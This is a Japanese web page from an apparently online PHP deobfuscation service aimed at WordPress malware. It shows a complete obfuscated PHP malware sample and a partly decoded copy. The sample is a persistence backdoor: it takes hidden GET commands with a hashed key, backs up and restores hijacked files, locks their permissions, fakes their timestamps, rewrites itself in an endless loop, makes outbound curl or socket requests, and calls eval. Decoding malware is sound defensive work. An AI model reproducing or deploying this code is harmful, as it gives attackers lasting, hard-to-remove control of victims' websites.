Japanese English

PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $b6bb6=explode("1l","stsixe_yek_yarra1lcexe_lruc1ltilps_gerp1ldomhc1lstegf1lteg_ini1lemitotrts1lecalper_gerp1lrid_pmet_teg_sys1lnepof1lstsixe_elif1lsoprts1lknilnu1lemitmelif1ldro1lstsixe_noitcnuf1lmirt1lpeelsu1lemaner1lezilairesnu1lelif_5dm1lesolc_lruc1ltes_ini1lrhc1lesolcf1lyarra_ni1ltcart...



難読化されたPHPコード

<?php $b6bb6=explode("1l","stsixe_yek_yarra1lcexe_lruc1ltilps_gerp1ldomhc1lstegf1lteg_ini1lemitotrts1lecalper_gerp1lrid_pmet_teg_sys1lnepof1lstsixe_elif1lsoprts1lknilnu1lemitmelif1ldro1lstsixe_noitcnuf1lmirt1lpeelsu1lemaner1lezilairesnu1lelif_5dm1lesolc_lruc1ltes_ini1lrhc1lesolcf1lyarra_ni1ltcartxe1ltimil_emit_tes1lhctam_gerp1ltroba_resu_erongi1lpeels1lehcactatsraelc1lhcuot1ltpotes_lruc1lrtsbus1letirwf1lnelrts1lfoef1lezilaires1llru_esrap1lelbatirw_si1l5dm1lstnetnoc_teg_elif1lemitorcim1lecalper_rts1ltini_lruc1lelif_si");foreach($b6bb6 as$b66bb6666=>$b6bbb6){$b6bbb6=preg_split("//",$b6bbb6,-1,PREG_SPLIT_NO_EMPTY);$b6bb6[$b66bb6666]=implode("",array_reverse($b6bbb6));};$b66666b=__FILE__;$bb66b=explode("9","b6bbbbb69b6bb6bbb9bbbbbb9b69b6bb66b9b66bb6b69bb6bbb69b6666b6b9bbbb6b669b6bbb6b69bbb6bbb9bb9b6b66b669bb69bb669bbbb6b9bb6b6bbb9b6bbbbb6b9bb666666b9b66bbb9bb66bb6669bbb6b6b69b6bb6b69bb6b6b69bb6b69b6b9b666b9bbb6bb9bbbb69bbb669bbb6b6669b6bbb9bbb6bb6bb9bbbbbb69bbbb9bb66669b6b6bb9bbbb6bb9bbb6b69bb66bbb669b6b6bb69b6bb669bb66b66b9b6b66b6b69bbbb6b6b9b66bb6b9b66666");foreach($bb66b as$b6666b66=>$bbb6bbb6){$$bbb6bbb6=$b6bb6[$b6666b66];};function l1J($l11cT){$l1rMWG="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=$";$l1niG=$l1QZpMkw=$l1q7rRuN="";$l11SiD=$l1WUJf6=$l1QA=$l1a4="";$l1dx=0;$l17CM="";$l11cT=$GLOBALS["b6666b6b"]("/[^A-Za-z0-9\+\/\=$]/","",$l11cT);do{$l11SiD=$GLOBALS["bb"]($l1rMWG,$GLOBALS["bbbb"]($l11cT,$l1dx++,1));$l1WUJf6=$GLOBALS["bb"]($l1rMWG,$GLOBALS["bbbb"]($l11cT,$l1dx++,1));$l1QA=$GLOBALS["bb"]($l1rMWG,$GLOBALS["bbbb"]($l11cT,$l1dx++,1));$l1a4=$GLOBALS["bb"]($l1rMWG,$GLOBALS["bbbb"]($l11cT,$l1dx++,1));$l1niG=($l11SiD<<2)|($l1WUJf6>>4);$l1QZpMkw=(($l1WUJf6&15)<<4)|($l1QA>>2);$l1q7rRuN=(($l1QA&3)<<6)|$l1a4;$l17CM=$l17CM.$GLOBALS["bb6b6b6"]((int)$l1niG);if($l1QA!=64){$l17CM=$l17CM.$GLOBALS["bb6b6b6"]((int)$l1QZpMkw);}if($l1a4!=64){$l17CM=$l17CM.$GLOBALS["bb6b6b6"]((int)$l1q7rRuN);}$l1niG=$l1QZpMkw=$l1q7rRuN="";$l11SiD=$l1WUJf6=$l1QA=$l1a4="";}while($l1dx<$GLOBALS["b6b6bb"]($l11cT));return$l17CM;}function l18etG($l1czU=''){$l1Fy='';$l1ookWMx=$GLOBALS["bbbbbb"]("//u",$l1czU,-1,PREG_SPLIT_NO_EMPTY);foreach($l1ookWMx as$l1Af){$l1Fy.=$GLOBALS["bb6b6b6"]($GLOBALS["bb66"]($l1Af)+1);}return l1J($l1Fy);}function l10($l1Pi){return l18etG($l1Pi);}$bbb6bb66=$GLOBALS["bb66b66b"]($b66666b);$bb66b6b=@$GLOBALS["b66bbb"](l10("XSnyLyo6byn4NhIhXlH1XiYhMlHhN2L5NCnhXDcQK1I@OCvhN2L5MynhXlIhMiX1XhH6bynxMCnhXUYEL0bwUSMYUj/vX/YqcVEqNB8fUiAqHisyNij5HlH1XlH1XiYhMhH6byn/MCnhSTMlcjwoSGYYT/@wSSEIaDwC`h8MdVI2VFkHLT0CVVkLdVHyVGkY`EgSQCvhN2L5MynhXiYhMlH1MhH6byn/NhIfQ/E@HisyNij5HlIhMiX1MlIhXhH6byn/NhIJ`DQvHisyNib5HlIhMiX1MlHhN2L5LSX5HlIFVWkgLT0wXSIA`1ElOCvhN2L5MSnhXlH1XlHhN2L5LyH5HkIETUQTQSgXUx8YS0QqX/ET`kEETTT3TEQpNEQSciv7HisyNiP5HlH1XlHhN2L5LSH5Hjrvch4K`F40XiEpOBH6byn1NhIhXiX1XiXhN2L5LSH5HkksSWUXLWM0XjYUcBH6bynyNhIhXlHhN2L5NCnhRlkPcj0BaivhN2L5MSnhXiYhMlHhN2L5NCnhUR8qSkQlOCvhN2L5NCnhXiX1MlIhXiXhN2L5LSH5HkfxUWggQSgqYDYU`RH6byn3NhIhMlIhMiX1XhH6bynwLinhVCIUdFEENF8gaFruHisyNif5HlH1XiX1XiYhHisyNiD1NhIYQkUrVEcUblMBMGYfQ/@7HisyNif5HlH1MiX1XlIhHisyNif5Hjos`x8JYiv7HisyNib5HlH1XiX1MiXhN2L5LSH5HjsSRCIMdDEpVEcqdRH6byn1NhIhMiYhXiXhN2L5NCnhVTcIa1EsTCvhN2L5MynhXlH1MlIhXhH6byn/NhIhTiQoHisyNiL5HlH1MhH6bynwLinhXEX/`kkWYmQhQlc1HisyNiT5HlH1XiX1HisyNif5HkIETUQTQTv7HisyNiP5HlH1XiXhN2L5LSH5HjsSRCELdDEpVEcqdRH6byn/NhIhXlH1HisyNiDxNhIKaUU1VTYEK0kPOCvhN2L5MinhXiX1MlH1HisyNif5HlMWPVoXU0EqHisyNib5HlH1MlIhXiXhN2L5LiP5HjrvMFEW`WciRmj2aj8BL2AJTiguXmX7OBH6byn4NhIhMiYhMlH1MlHhN2L5MCnhSlf2cRH6byn1NhIhXiYhXiXhN2L5LSH5HjrvMFIKdCg4XE@7OBH6byn/NhIhMiYhHisyNif5HlAGTR8hQ/v7HisyNif5HlIhXiYhMiYhHisyNif5HjorNGEJYiv7HisyNiP5HlIhMlHhN2L5LSX5HjrvMDgUQUEPU/H2c/rxSV7hN2L5MCnhXiX1MhH6bynwMinhRyEqcEkFUSMKaTEtXj@7OBH6byn0NhIhXlIhXhH6bynxNCnhTjUQUEQENEgWK0kOUFsiPUQpTTUQQSgSUB81OBH6byn3NhIhMlH1XlIhXhH6bynwMinhUB8UTkUpUUIWLDEOUFsPOBH6byn2NhIhMlH1MlH1HisyNiDxNhIKT/PwSGgA`kgW`2jhN2/<"));foreach($bb66b6b as$b66bbb6b=>$bb666b){$bb66b6b[$b66bbb6b]=l10($bb666b);};@extract($bb66b6b);$GLOBALS["bbbb6"](l10("K/@mJB3pOxjmNx8y"),$bbb6bb66,$_SESSION["oO0Oo0OO0"]);$GLOBALS["bbb66"](1);$GLOBALS["bbb6bb"](0);@$GLOBALS["b6bb6b6"]($GLOBALS["bbb666b"],300);$l1NH=(int)$GLOBALS["b66bb6b6"]($GLOBALS["bbb666b"]);$l1NH=$l1NH<1?30:$l1NH;$l1m5=$GLOBALS["b6b66b6b6"](true);$l15i=$GLOBALS["bbbb6b6b"]('\\','/',$_SERVER["DOCUMENT_ROOT"]);$l1R=@$GLOBALS["bb66b66b"](__FILE__);$l12PmfH=$GLOBALS["b6bb66"]($GLOBALS["b66bb6"].'_p'.$GLOBALS["b6b6b66"].'q'.$GLOBALS["bb66bbb"].'om'.$_SERVER["HTTP_HOST"]);$l1a5XnwG=l1S4a($GLOBALS["bbbb"]($l12PmfH,0,7));$l1Bl=l1S4a($GLOBALS["bbbb"]($l12PmfH,7,7));$l1T3Nhd=@$GLOBALS["b66bbb"](@$GLOBALS["bb66b66b"]($l1a5XnwG));$l1T3Nhd=$l1T3Nhd===false?array():$l1T3Nhd;$l16acoqY=0.5;$l1G0=@$GLOBALS["bb6"]($l1a5XnwG);if(isset($_GET["n"])){if(!(isset($_GET["x"])&&($GLOBALS["b6bb66"]($GLOBALS["b6bb66"]($_GET["x"]))==$GLOBALS["b6bb6b6b6"]))){die($GLOBALS["bb6666bbb"]);}$l17miq=$GLOBALS["b6666b6b"]($GLOBALS["bb6bb6"],'',$_GET["n"]);$l18RmvrH="$l15i/".$l17miq;if($GLOBALS["b66666"]($l18RmvrH)){$l1CO=$GLOBALS["b6bb66"]($l18RmvrH);if(!isset($l1T3Nhd[$l1CO])){if($GLOBALS["bbb6bbb"]($l18RmvrH)){$l15wBlh=$GLOBALS["bb66bb666"]($l18RmvrH);$l1Kph4=l1S4a($l1CO);if(!$GLOBALS["bbb6bbb"]($l1Kph4)){l1Ukw($l1Kph4,$GLOBALS["bb66b66b"]($l18RmvrH));@$GLOBALS["bbb6bb6bb"]($l1Kph4,$GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));@$GLOBALS["b6"]($l1Kph4,0444);}$l1T3Nhd[$l1CO]=array('x'=>$l18RmvrH,'y'=>$l15wBlh,'z'=>$l1Kph4);@$GLOBALS["b6"]($l1a5XnwG,0777);l1Ukw($l1a5XnwG,$GLOBALS["bbb6b6"]($l1T3Nhd));@$GLOBALS["b6"]($l1a5XnwG,0444);}}if(isset($_GET["a"])&&$_GET["a"]==$GLOBALS["b666b6"]){$l1P=$l18RmvrH.$GLOBALS["bbb6"];if($GLOBALS["bbb6bbb"]($l1P)){$l1wCKr=$l1Bl;if(!$GLOBALS["b6b"]($l17miq,array($GLOBALS["b66"],$GLOBALS["b6b66b6b"]))){$l1wCKr=$l1T3Nhd[$l1CO]["z"];}@$GLOBALS["b6"]($l1wCKr,0777);l1Ukw($l1wCKr,$GLOBALS["bb66b66b"]($l1P));@$GLOBALS["bbb6bb6bb"]($l1wCKr,$GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));@$GLOBALS["b6"]($l1wCKr,0444);$l1T3Nhd[$l1CO]["y"]=$GLOBALS["bb66bb666"]($l1P);@$GLOBALS["b6"]($l1a5XnwG,0777);l1Ukw($l1a5XnwG,$GLOBALS["bbb6b6"]($l1T3Nhd));@$GLOBALS["b6"]($l1a5XnwG,0444);@$GLOBALS["bb666666b"]($l1P,"$l1P.ok");}}die($GLOBALS["bbb6b66b"]);}else{die($GLOBALS["bbb"]);}}@$GLOBALS["b6"](__FILE__,0777);$GLOBALS["bbb6b666"]($l16acoqY*3);if(!$GLOBALS["b6b6bb6"](__FILE__)){die($GLOBALS["b6666bbb"]);}function l1Ukw($l1CjyEK,$l1gc7W='',$l1iULb='w'){$l17Yf1jw=@$GLOBALS["b6bbb6b6"]($l1CjyEK,$l1iULb);if($l17Yf1jw!==false){$GLOBALS["bb6666"]($l17Yf1jw,$l1gc7W);$GLOBALS["bb6b6"]($l17Yf1jw);}}function l15gxPsr(){global$l1NH,$l1m5,$l15i,$l1R,$l1a5XnwG,$l1Bl,$l1T3Nhd,$l1G0,$l16acoqY;$l1dWH0c=$GLOBALS["b6b66b6b6"](true);$l1fIj=$l1dWH0c-$l1m5;$GLOBALS["b6bbb"]();$l12XDI=$GLOBALS["bb6"]($l1a5XnwG);if($l1G0!=$l12XDI){$l1T3Nhd=@$GLOBALS["b66bbb"](@$GLOBALS["bb66b66b"]($l1a5XnwG));$l1T3Nhd=$l1T3Nhd===false?array():$l1T3Nhd;$l1G0=$l12XDI;}if($l1fIj>=($l1NH-5)){l183();}else{$l1TLuh=$l15i.$GLOBALS["b666"];if(!$GLOBALS["bbb6bbb"](__FILE__)||($GLOBALS["bb66bb666"](__FILE__)!=$GLOBALS["b6bb66"]($l1R))){@$GLOBALS["b6"](__FILE__,0777);l1Ukw(__FILE__,$l1R);@$GLOBALS["bbb6bb6bb"](__FILE__,$GLOBALS["bb6bbb6"]($GLOBALS["b6b6666"]));}@$GLOBALS["b6"](__FILE__,0444);if(!$GLOBALS["bbb6bbb"]($l1TLuh)){l1Ukw($l1TLuh,'//');}if(!$GLOBALS["bbb6bbb"]($l1Bl)){l1Ukw($l1Bl,@$GLOBALS["bb66b66b"]($l1TLuh));@$GLOBALS["bbb6bb6bb"]($l1Bl,$GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));@$GLOBALS["b6"]($l1Bl,0444);}if($GLOBALS["bb66bb666"]($l1TLuh)!=$GLOBALS["bb66bb666"]($l1Bl)){@$GLOBALS["b6"]($l1TLuh,0777);@$GLOBALS["b6b66b66"]($l1TLuh);l1Ukw($l1TLuh,@$GLOBALS["bb66b66b"]($l1Bl));@$GLOBALS["bbb6bb6bb"]($l1TLuh,$GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));@$GLOBALS["b6"]($l1TLuh,0444);}if(!empty($l1T3Nhd)){foreach($l1T3Nhd as$l1u){$l1MwrKf=$GLOBALS["bb66bb666"]($l1u["x"]);if(!$GLOBALS["bbb6bbb"]($l1u["x"])||($l1MwrKf!=$l1u["y"])){@$GLOBALS["b6"]($l1u["x"],0777);@$GLOBALS["b6b66b66"]($l1u["x"]);l1Ukw($l1u["x"],$GLOBALS["bb66b66b"]($l1u["z"]));@$GLOBALS["b6"]($l1u["x"],0444);@$GLOBALS["bbb6bb6bb"]($l1u["x"],$GLOBALS["bb6bbb6"]($GLOBALS["b6b6"]));}}}$GLOBALS["b6bbbbb6b"]($l16acoqY*1000000);l15gxPsr();}}function l183(){$l1it=$GLOBALS["bbb6b6b6b"].(l1a()?'s':'').$GLOBALS["b66b6b66b"].$_SERVER["HTTP_HOST"].$GLOBALS["b6666b6b"]($GLOBALS["b6bb"],'',$_SERVER["REQUEST_URI"]);for($l1P3=0;$l1P3<10;$l1P3++){l1yFWNZD($l1it);$GLOBALS["b6bbbbb6b"](300*1000);}}function l1yFWNZD($l16){$l17osN=0;if($GLOBALS["bbbb6b"]($GLOBALS["b6bb666b"])&&$GLOBALS["bbbb6b"]($GLOBALS["b666bbb6"])){$l1HIu4m=$GLOBALS["b66bb6b"]();$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_URL,$l16);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_USERAGENT,$GLOBALS["b6b6b"]);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_CONNECTTIMEOUT,0);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_RETURNTRANSFER,1);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_SSL_VERIFYPEER,false);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_SSL_VERIFYHOST,false);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_TIMEOUT,120);$GLOBALS["bbbbbb6"]($l1HIu4m,CURLOPT_FOLLOWLOCATION,1);$l1hg1b4x=$GLOBALS["b6bb6bbb"]($l1HIu4m);$GLOBALS["bbb6b6b6"]($l1HIu4m);if($l1hg1b4x){$l17osN=$l1hg1b4x;}}else{$l1OTa='';if($GLOBALS["bbbb6b"]($GLOBALS["bb66b6"])){$l1OTa=$GLOBALS["bb66b6"];}elseif($GLOBALS["bbbb6b"]($GLOBALS["bb6666b"])){$l1OTa=$GLOBALS["bb6666b"];}if($l1OTa!=''){$l1bY17F=$GLOBALS["bb66bbb66"]($l16);$l1Piz38u=$l1OTa($l1bY17F["host"],isset($l1bY17F["port"])?$l1bY17F["port"]:80,$l1onO,$l15BWK,30);if($l1Piz38u){$l17osN=isset($l1bY17F["path"])?$l1bY17F["path"]:'';$l17osN.=isset($l1bY17F["query"])?'?'.$l1bY17F["query"]:'';$l17osN=$l17osN==''?'/':$l17osN;$GLOBALS["bb6666"]($l1Piz38u,"GET $l17osN HTTP/1.0\r\nHost:".$l1bY17F["host"]."\r\nConnection:Close\r\n\r\n");$l1rry='';while(!$GLOBALS["bbbb6bb"]($l1Piz38u)){$l1rry.=$GLOBALS["b6bb66b"]($l1Piz38u,4096);}$GLOBALS["bb6b6"]($l1Piz38u);$l17osN=$GLOBALS["bbbb6"]($GLOBALS["bb6b"],$l1rry)?$GLOBALS["b6666b6b"]("/.*?\r\n\r\n(.*)/si","$1",$l1rry):$GLOBALS["b6666b6b"]($GLOBALS["b66bbb6"],"$1",$l1rry);}else{$l17osN=0;}}else{$l17osN=$GLOBALS["bb66b66b"]($l16);}}return$GLOBALS["bb6b6bbb"]($GLOBALS["bb6b6bbb"]($l17osN,"\xEF\xBB\xBF"));}function l1S4a($l1lbML=''){global$l12PmfH;$l1Gq=$GLOBALS["bbbb6b66"]();if(!$GLOBALS["b6b6bb6"]($l1Gq)){$l1Gq='.';}return"$l1Gq/$l1lbML";}function l1a(){if($GLOBALS["b6bbbbb6"]($GLOBALS["b6b66"],$l13C)&&'on'===$l13C["HTTPS"]){return true;}if($GLOBALS["b6bbbbb6"]($GLOBALS["b6b6bbbb"],$l13C)&&443===(int)$l13C["SERVER_PORT"]){return true;}if($GLOBALS["b6bbbbb6"]($GLOBALS["bbbbb"],$l13C)&&'on'===$l13C["HTTP_X_FORWARDED_SSL"]){return true;}if($GLOBALS["b6bbbbb6"]($GLOBALS["bb6bb"],$l13C)&&$GLOBALS["b66b"]===$l13C["HTTP_X_FORWARDED_PROTO"]){return true;}return false;}function l1tCTI(){@eval($l1at["y1t0"]);l15gxPsr();}l1tCTI();?>

デコード(難読化解除)されたコード

<?php

$b6bb6 = array(0 => "stsixe_yek_yarra", 1 => "cexe_lruc", 2 => "tilps_gerp", 3 => "domhc", 4 => "stegf", 5 => "teg_ini", 6 => "emitotrts", 7 => "ecalper_gerp", 8 => "rid_pmet_teg_sys", 9 => "nepof", 10 => "stsixe_elif", 11 => "soprts", 12 => "knilnu", 13 => "emitmelif", 14 => "dro", 15 => "stsixe_noitcnuf", 16 => "mirt", 17 => "peelsu", 18 => "emaner", 19 => "ezilairesnu", 20 => "elif_5dm", 21 => "esolc_lruc", 22 => "tes_ini", 23 => "rhc", 24 => "esolcf", 25 => "yarra_ni", 26 => "tcartxe", 27 => "timil_emit_tes", 28 => "hctam_gerp", 29 => "troba_resu_erongi", 30 => "peels", 31 => "ehcactatsraelc", 32 => "hcuot", 33 => "tpotes_lruc", 34 => "rtsbus", 35 => "etirwf", 36 => "nelrts", 37 => "foef", 38 => "ezilaires", 39 => "lru_esrap", 40 => "elbatirw_si", 41 => "5dm", 42 => "stnetnoc_teg_elif", 43 => "emitorcim", 44 => "ecalper_rts", 45 => "tini_lruc", 46 => "elif_si");
foreach ($b6bb6 as $b66bb6666 => $b6bbb6) {
    $b6bbb6 = preg_split("//", $b6bbb6, 1, PREG_SPLIT_NO_EMPTY);
    $b6bb6[$b66bb6666] = implode("", array_reverse($b6bbb6));
}
$b66666b = "/var/www/html/input.php";
$bb66b = array(0 => "b6bbbbb6", 1 => "b6bb6bbb", 2 => "bbbbbb", 3 => "b6", 4 => "b6bb66b", 5 => "b66bb6b6", 6 => "bb6bbb6", 7 => "b6666b6b", 8 => "bbbb6b66", 9 => "b6bbb6b6", 10 => "bbb6bbb", 11 => "bb", 12 => "b6b66b66", 13 => "bb6", 14 => "bb66", 15 => "bbbb6b", 16 => "bb6b6bbb", 17 => "b6bbbbb6b", 18 => "bb666666b", 19 => "b66bbb", 20 => "bb66bb666", 21 => "bbb6b6b6", 22 => "b6bb6b6", 23 => "bb6b6b6", 24 => "bb6b6", 25 => "b6b", 26 => "b666b", 27 => "bbb6bb", 28 => "bbbb6", 29 => "bbb66", 30 => "bbb6b666", 31 => "b6bbb", 32 => "bbb6bb6bb", 33 => "bbbbbb6", 34 => "bbbb", 35 => "bb6666", 36 => "b6b6bb", 37 => "bbbb6bb", 38 => "bbb6b6", 39 => "bb66bbb66", 40 => "b6b6bb6", 41 => "b6bb66", 42 => "bb66b66b", 43 => "b6b66b6b6", 44 => "bbbb6b6b", 45 => "b66bb6b", 46 => "b66666");
foreach ($bb66b as $b6666b66 => $bbb6bbb6) {
    ${$bbb6bbb6} = $b6bb6[$b6666b66];
}
function l1J($l11cT)
{
    $l1rMWG = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\$";
    $l1niG = $l1QZpMkw = $l1q7rRuN = "";
    $l11SiD = $l1WUJf6 = $l1QA = $l1a4 = "";
    $l1dx = 0;
    $l17CM = "";
    $l11cT = $GLOBALS["b6666b6b"]("/[^A-Za-z0-9\\+\\/\\=\$]/", "", $l11cT);
    do {
        $l11SiD = $GLOBALS["bb"]($l1rMWG, $GLOBALS["bbbb"]($l11cT, $l1dx++, 1));
        $l1WUJf6 = $GLOBALS["bb"]($l1rMWG, $GLOBALS["bbbb"]($l11cT, $l1dx++, 1));
        $l1QA = $GLOBALS["bb"]($l1rMWG, $GLOBALS["bbbb"]($l11cT, $l1dx++, 1));
        $l1a4 = $GLOBALS["bb"]($l1rMWG, $GLOBALS["bbbb"]($l11cT, $l1dx++, 1));
        $l1niG = $l11SiD << 2 | $l1WUJf6 >> 4;
        $l1QZpMkw = ($l1WUJf6 & 15) << 4 | $l1QA >> 2;
        $l1q7rRuN = ($l1QA & 3) << 6 | $l1a4;
        $l17CM .= $GLOBALS["bb6b6b6"]((int) $l1niG);
        if ($l1QA != 64) {
            $l17CM .= $GLOBALS["bb6b6b6"]((int) $l1QZpMkw);
        }
        if ($l1a4 != 64) {
            $l17CM .= $GLOBALS["bb6b6b6"]((int) $l1q7rRuN);
        }
        $l1niG = $l1QZpMkw = $l1q7rRuN = "";
        $l11SiD = $l1WUJf6 = $l1QA = $l1a4 = "";
    } while ($l1dx < $GLOBALS["b6b6bb"]($l11cT));
    return $l17CM;
}
function l18etG($l1czU = '')
{
    $l1Fy = '';
    $l1ookWMx = $GLOBALS["bbbbbb"]("//u", $l1czU, 1, PREG_SPLIT_NO_EMPTY);
    foreach ($l1ookWMx as $l1Af) {
        $l1Fy .= $GLOBALS["bb6b6b6"]($GLOBALS["bb66"]($l1Af) + 1);
    }
    return l1J($l1Fy);
}
function l10($l1Pi)
{
    return l18etG($l1Pi);
}
$bbb6bb66 = $GLOBALS["bb66b66b"]($b66666b);
$bb66b6b = @$GLOBALS["b66bbb"](l10("XSnyLyo6byn4NhIhXlH1XiYhMlHhN2L5NCnhXDcQK1I@OCvhN2L5MynhXlIhMiX1XhH6bynxMCnhXUYEL0bwUSMYUj/vX/YqcVEqNB8fUiAqHisyNij5HlH1XlH1XiYhMhH6byn/MCnhSTMlcjwoSGYYT/@wSSEIaDwC`h8MdVI2VFkHLT0CVVkLdVHyVGkY`EgSQCvhN2L5MynhXiYhMlH1MhH6byn/NhIfQ/E@HisyNij5HlIhMiX1MlIhXhH6byn/NhIJ`DQvHisyNib5HlIhMiX1MlHhN2L5LSX5HlIFVWkgLT0wXSIA`1ElOCvhN2L5MSnhXlH1XlHhN2L5LyH5HkIETUQTQSgXUx8YS0QqX/ET`kEETTT3TEQpNEQSciv7HisyNiP5HlH1XlHhN2L5LSH5Hjrvch4K`F40XiEpOBH6byn1NhIhXiX1XiXhN2L5LSH5HkksSWUXLWM0XjYUcBH6bynyNhIhXlHhN2L5NCnhRlkPcj0BaivhN2L5MSnhXiYhMlHhN2L5NCnhUR8qSkQlOCvhN2L5NCnhXiX1MlIhXiXhN2L5LSH5HkfxUWggQSgqYDYU`RH6byn3NhIhMlIhMiX1XhH6bynwLinhVCIUdFEENF8gaFruHisyNif5HlH1XiX1XiYhHisyNiD1NhIYQkUrVEcUblMBMGYfQ/@7HisyNif5HlH1MiX1XlIhHisyNif5Hjos`x8JYiv7HisyNib5HlH1XiX1MiXhN2L5LSH5HjsSRCIMdDEpVEcqdRH6byn1NhIhMiYhXiXhN2L5NCnhVTcIa1EsTCvhN2L5MynhXlH1MlIhXhH6byn/NhIhTiQoHisyNiL5HlH1MhH6bynwLinhXEX/`kkWYmQhQlc1HisyNiT5HlH1XiX1HisyNif5HkIETUQTQTv7HisyNiP5HlH1XiXhN2L5LSH5HjsSRCELdDEpVEcqdRH6byn/NhIhXlH1HisyNiDxNhIKaUU1VTYEK0kPOCvhN2L5MinhXiX1MlH1HisyNif5HlMWPVoXU0EqHisyNib5HlH1MlIhXiXhN2L5LiP5HjrvMFEW`WciRmj2aj8BL2AJTiguXmX7OBH6byn4NhIhMiYhMlH1MlHhN2L5MCnhSlf2cRH6byn1NhIhXiYhXiXhN2L5LSH5HjrvMFIKdCg4XE@7OBH6byn/NhIhMiYhHisyNif5HlAGTR8hQ/v7HisyNif5HlIhXiYhMiYhHisyNif5HjorNGEJYiv7HisyNiP5HlIhMlHhN2L5LSX5HjrvMDgUQUEPU/H2c/rxSV7hN2L5MCnhXiX1MhH6bynwMinhRyEqcEkFUSMKaTEtXj@7OBH6byn0NhIhXlIhXhH6bynxNCnhTjUQUEQENEgWK0kOUFsiPUQpTTUQQSgSUB81OBH6byn3NhIhMlH1XlIhXhH6bynwMinhUB8UTkUpUUIWLDEOUFsPOBH6byn2NhIhMlH1MlH1HisyNiDxNhIKT/PwSGgA`kgW`2jhN2/<"));
foreach ($bb66b6b as $b66bbb6b => $bb666b) {
    $bb66b6b[$b66bbb6b] = l10($bb666b);
}
@extract($bb66b6b);
$GLOBALS["bbbb6"](l10("K/@mJB3pOxjmNx8y"), $bbb6bb66, $_SESSION["oO0Oo0OO0"]);
$GLOBALS["bbb66"](1);
$GLOBALS["bbb6bb"](0);
@$GLOBALS["b6bb6b6"]($GLOBALS["bbb666b"], 300);
$l1NH = (int) $GLOBALS["b66bb6b6"]($GLOBALS["bbb666b"]);
$l1NH = $l1NH < 1 ? 30 : $l1NH;
$l1m5 = $GLOBALS["b6b66b6b6"](true);
$l15i = $GLOBALS["bbbb6b6b"]('\\', '/', $_SERVER["DOCUMENT_ROOT"]);
$l1R = @$GLOBALS["bb66b66b"]("/var/www/html/input.php");
$l12PmfH = $GLOBALS["b6bb66"]($GLOBALS["b66bb6"] . '_p' . $GLOBALS["b6b6b66"] . 'q' . $GLOBALS["bb66bbb"] . 'om' . $_SERVER["HTTP_HOST"]);
$l1a5XnwG = l1S4a($GLOBALS["bbbb"]($l12PmfH, 0, 7));
$l1Bl = l1S4a($GLOBALS["bbbb"]($l12PmfH, 7, 7));
$l1T3Nhd = @$GLOBALS["b66bbb"](@$GLOBALS["bb66b66b"]($l1a5XnwG));
$l1T3Nhd = $l1T3Nhd === false ? array() : $l1T3Nhd;
$l16acoqY = 0.5;
$l1G0 = @$GLOBALS["bb6"]($l1a5XnwG);
if (isset($_GET["n"])) {
    if (!(isset($_GET["x"]) && $GLOBALS["b6bb66"]($GLOBALS["b6bb66"]($_GET["x"])) == $GLOBALS["b6bb6b6b6"])) {
        die($GLOBALS["bb6666bbb"]);
    }
    $l17miq = $GLOBALS["b6666b6b"]($GLOBALS["bb6bb6"], '', $_GET["n"]);
    $l18RmvrH = "{$l15i}/" . $l17miq;
    if ($GLOBALS["b66666"]($l18RmvrH)) {
        $l1CO = $GLOBALS["b6bb66"]($l18RmvrH);
        if (!isset($l1T3Nhd[$l1CO])) {
            if ($GLOBALS["bbb6bbb"]($l18RmvrH)) {
                $l15wBlh = $GLOBALS["bb66bb666"]($l18RmvrH);
                $l1Kph4 = l1S4a($l1CO);
                if (!$GLOBALS["bbb6bbb"]($l1Kph4)) {
                    l1Ukw($l1Kph4, $GLOBALS["bb66b66b"]($l18RmvrH));
                    @$GLOBALS["bbb6bb6bb"]($l1Kph4, $GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));
                    @$GLOBALS["b6"]($l1Kph4, 0444);
                }
                $l1T3Nhd[$l1CO] = array('x' => $l18RmvrH, 'y' => $l15wBlh, 'z' => $l1Kph4);
                @$GLOBALS["b6"]($l1a5XnwG, 0777);
                l1Ukw($l1a5XnwG, $GLOBALS["bbb6b6"]($l1T3Nhd));
                @$GLOBALS["b6"]($l1a5XnwG, 0444);
            }
        }
        if (isset($_GET["a"]) && $_GET["a"] == $GLOBALS["b666b6"]) {
            $l1P = $l18RmvrH . $GLOBALS["bbb6"];
            if ($GLOBALS["bbb6bbb"]($l1P)) {
                $l1wCKr = $l1Bl;
                if (!$GLOBALS["b6b"]($l17miq, array($GLOBALS["b66"], $GLOBALS["b6b66b6b"]))) {
                    $l1wCKr = $l1T3Nhd[$l1CO]["z"];
                }
                @$GLOBALS["b6"]($l1wCKr, 0777);
                l1Ukw($l1wCKr, $GLOBALS["bb66b66b"]($l1P));
                @$GLOBALS["bbb6bb6bb"]($l1wCKr, $GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));
                @$GLOBALS["b6"]($l1wCKr, 0444);
                $l1T3Nhd[$l1CO]["y"] = $GLOBALS["bb66bb666"]($l1P);
                @$GLOBALS["b6"]($l1a5XnwG, 0777);
                l1Ukw($l1a5XnwG, $GLOBALS["bbb6b6"]($l1T3Nhd));
                @$GLOBALS["b6"]($l1a5XnwG, 0444);
                @$GLOBALS["bb666666b"]($l1P, "{$l1P}.ok");
            }
        }
        die($GLOBALS["bbb6b66b"]);
    } else {
        die($GLOBALS["bbb"]);
    }
}
@$GLOBALS["b6"]("/var/www/html/input.php", 0777);
$GLOBALS["bbb6b666"]($l16acoqY * 3);
